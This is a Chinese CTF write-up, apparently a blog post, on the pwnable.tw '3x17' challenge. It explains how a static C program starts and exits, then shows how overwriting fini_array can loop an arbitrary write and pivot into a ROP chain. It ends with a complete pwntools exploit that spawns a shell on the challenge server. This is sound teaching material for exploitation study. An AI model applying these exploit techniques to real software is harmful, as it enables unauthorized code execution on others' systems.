从这题学到很多之前不太注意的地方,因此还盘点了一下C语言程序运行的整个流程,正所谓 ctf for learning(x

前置知识

从Hello world开始

Hello world简单吗?写起来简单,但是要解释清楚却很难。下面用一个helloworld程序静态编译(x64)作为例子讲解简单C程序的运行流程。

//gcc helloworld.c --static -o helloworld
#include<stdio.h>

int main(){
    printf("Hello world!\n");
    return 0;
}

不知道初学者会不会注意,明明在第一印象中main函数处于一个“至高无上”的地位,却还要在末尾return 0? 有没有想过这个返回值最后交给了谁?

反汇编分析

IDA打开刚刚编译的helloworld,对main函数查看交叉引用,发现在main之前有一个_start操作了main函数的地址,再对_start交叉引用发现,_start的地址是整个程序的Entry_point,也就是说,程序执行后最先执行的是start中的指令。

下面是start的反汇编结果:

.text:0000000000400890 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400890 ; __unwind {
.text:0000000000400890                 xor     ebp, ebp
.text:0000000000400892                 mov     r9, rdx         ; rtld_fini
.text:0000000000400895                 pop     rsi             ; argc
.text:0000000000400896                 mov     rdx, rsp        ; ubp_av
.text:0000000000400899                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000040089D                 push    rax
.text:000000000040089E                 push    rsp             ; stack_end
.text:000000000040089F                 mov     r8, offset __libc_csu_fini ; fini
.text:00000000004008A6                 mov     rcx, offset __libc_csu_init ; init
.text:00000000004008AD                 mov     rdi, offset main ; main
.text:00000000004008B4                 call    __libc_start_main
.text:00000000004008B4 _start          endp

可见,start在最后调用了__libc_start_main这个函数,经过查证,这是一个库函数(但是为了讲解方便这里使用了静态编译),主要的功能是初始化进程以及各类运行环境,并处理main函数的返回值。这个函数的声明如下:

int __libc_start_main(int (main) (int, char , char ), int argc, char * ubp_av, void (init) (void), void (*fini) (void), void (*rtld_fini) (void), void ( stack_end));

参数非常多,主要关注 rdi r8 rcx 的参数就行。

可以发现rdi中的地址就是main函数的地址,而r8和rcx分别对应__libc_csu_fini__libc_csu_init两个函数。

难道说__libc_start_main会利用这两个函数做些什么吗,于是再去查找这两个函数的相关信息发现,这两个函数各自与一个数组相关联:

.init_array:00000000006C9ED8 _init_array     segment para public 'DATA' use64
.init_array:00000000006C9EE0 off_6C9EE0      dq offset init_cacheinfo
.init_array:00000000006C9EE0 _init_array     ends
===========================================================================
.fini_array:00000000006C9EE8 _fini_array     segment para public 'DATA' use64x
.fini_array:00000000006C9EF0                 dq offset fini
.fini_array:00000000006C9EF0 _fini_array     ends

__libc_csu_init__libc_csu_fini分别对应_init_array_fini_array,这两个数组各自有两个元素,保存了一些函数指针。在进入这个两个函数的时候,他们会遍历调用各自数组中的函数指针。而且,__libc_csu_init 执行期在main之前,__libc_csu_fini 执行期在main之后。也就是说,这两个数组中的函数指针会在main函数执行前后被分别调用。

这里要注意的是,_init_array执行顺序是下标由小到大,_fini_array执行顺序是下标由大到小。

总结一下整个流程大概就是:

start -> _libc_start_main -> libc_csu_init(init_array) -> main -> libc_csu_finit(fini_array) -> exit(main_ret)

至此,最开始的小问题就解决了,main函数的返回值最后交给了_libc_start_main处理,而处理方式是作为exit的参数结束程序。

利用方式

那么有意思的来了,虽然_init_array不便控制,因为它在主函数前就执行完了,但是_fini_array却可以利用主函数的某些漏洞(如任意写)进行控制。

方式1:构造Loop

遇到写次数有限的格式化字符串漏洞,可以利用_fini_array构造loop进行多次写。

尝试构造如下结构:

fini_array[0] = __libc_csu_fini
fini_array[1] = target_func

这样在程序退出的时候,就会循环执行 __libc_csu_fini -> target_func -> __libc_csu_fini -> .... ,从而多次经过漏洞函数所在位置达到多次写的目的。

方式2:构造ROP链

这是比较难发现的点,首先仔细看__libc_csu_fini的反汇编结果:

.text:0000000000401710 ; void _libc_csu_fini(void)
.text:0000000000401710                 public __libc_csu_fini
.text:0000000000401710 __libc_csu_fini proc near               ; DATA XREF: _start+F↑o
.text:0000000000401710 ; __unwind {
.text:0000000000401710                 push    rbx
.text:0000000000401711                 mov     ebx, offset __JCR_LIST__
.text:0000000000401716                 sub     rbx, offset __do_global_dtors_aux_fini_array_entry
.text:000000000040171D                 sar     rbx, 3
.text:0000000000401721                 test    rbx, rbx
.text:0000000000401724                 jz      short loc_40173D
.text:0000000000401726                 db      2Eh
.text:0000000000401726                 nop     word ptr [rax+rax+00000000h]
.text:0000000000401730
.text:0000000000401730 loc_401730:                             ; CODE XREF: __libc_csu_fini+2B↓j
.text:0000000000401730                 call    ds:off_6C9EE0[rbx*8]
.text:0000000000401737                 sub     rbx, 1
.text:000000000040173B                 jnz     short loc_401730
.text:000000000040173D
.text:000000000040173D loc_40173D:                             ; CODE XREF: __libc_csu_fini+14↑j
.text:000000000040173D                 pop     rbx
.text:000000000040173E                 jmp     _fini
.text:000000000040173E ; } // starts at 401710

可以发现,在执行过程中,__libc_csu_fini先将rbp保存在了原栈,再把rbp迁移到fini_array的位置,然后从fini_array[1]到fini_array[0]进行函数指针的调用,最后利用原栈上的值恢复rbp。

但是如果有心人在fini_array[0]写入leave ret这种gadget的地址,就会导致rsp被迁移到fini_array上,然后按照fini_array[1],fini_array[2],fini_array[3]...这样顺序执行提前布置好的的ROP链。

题目分析

主函数伪代码(部分函数经过重命名):

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int addr_ret; // eax
  char *addr; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, &buf, 0x18uLL);
    strtol((__int64)&buf);                      // 把输入内容转换为长整型(地址)
    addr = (char *)addr_ret;
    write(1u, "data:", 5uLL);
    read(0, addr, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != v7 )
    sub_44A3E0();
  return result;
}

题目主函数给了一个任意地址写,但是if判断限制只能写一次,并且没有地址泄露的步骤。

很明显,我们需要构造一个loop进行多次任意写,但是栈上地址不知道,所以不能写ret_addr,只能用fini_array构造loop。

但是loop回来能不能过if判断呢?显然不能......才怪。

只要你细心观察就会发现byte_4B9330unsigned _int8,也就是范围在0-255,也就是说当loop执行到一定次数,发生整数溢出时,byte_4B9330 == 1可以重新成立,这样就能继续任意写了。

下一步时构造execve("/bin/sh\x00", 0, 0)功能的ROP链到fini_array上。为了不破坏loop,只能从fini_array[2]开始写。

ROP链写完后,后把fini_array[0]写成leave ret,fini_array[1]写成ret,便可以在结束掉loop的同时将执行流衔接到ROP链上,完成getshell。

exp

from pwn import *

#p = process("./3x17")
p = remote("chall.pwnable.tw", 10105)
context.log_level = "debug"
#gdb.attach(p, "b *0x401C29\nc\n")
#gadgets
ret = 0x0000000000401016
leave_ret = 0x0000000000401c4b
pop_rax_ret = 0x000000000041e4af
pop_rdi_ret = 0x0000000000401696
pop_rsi_ret = 0x0000000000406c30
pop_rdx_ret = 0x0000000000446e35
syscall = 0x00000000004022b4


fini_array = 0x4B40F0
_libc_csu_fini = 0x402960
main = 0x401B6D

def read_to(addr:int, content):
    p.recvuntil(b"addr:")
    p.send(str(addr).encode())
    p.recvuntil(b"data:")
    p.send(content)

def exp():
    #make loop
    read_to(fini_array, p64(_libc_csu_fini)+p64(main))

    #build ROP_chain
    binah_addr = 0x4B9300
    read_to(binah_addr, b"/bin/sh\x00")

    read_to(fini_array+0x8*2, p64(pop_rax_ret) + p64(59))
    read_to(fini_array+0x8*4, p64(pop_rdi_ret) + p64(binah_addr))
    read_to(fini_array+0x8*6, p64(pop_rsi_ret) + p64(0))
    read_to(fini_array+0x8*8, p64(pop_rdx_ret) + p64(0))
    read_to(fini_array+0x8*10, p64(syscall))

    #gdb.attach(p, "b *0x401C2E\nc\n")    
    #new stack & start rop
    read_to(fini_array, p64(leave_ret) + p64(ret))

    #getshell
    p.interactive()

if __name__ == "__main__":
    exp()

总结

其实二进制方向很多时候都是大道至简,只有真正掌握了底层原理和思考能力的人才不会在如今越来越商业化的安全行业中成为无头无脑的“做题家”。

标签: none

添加新评论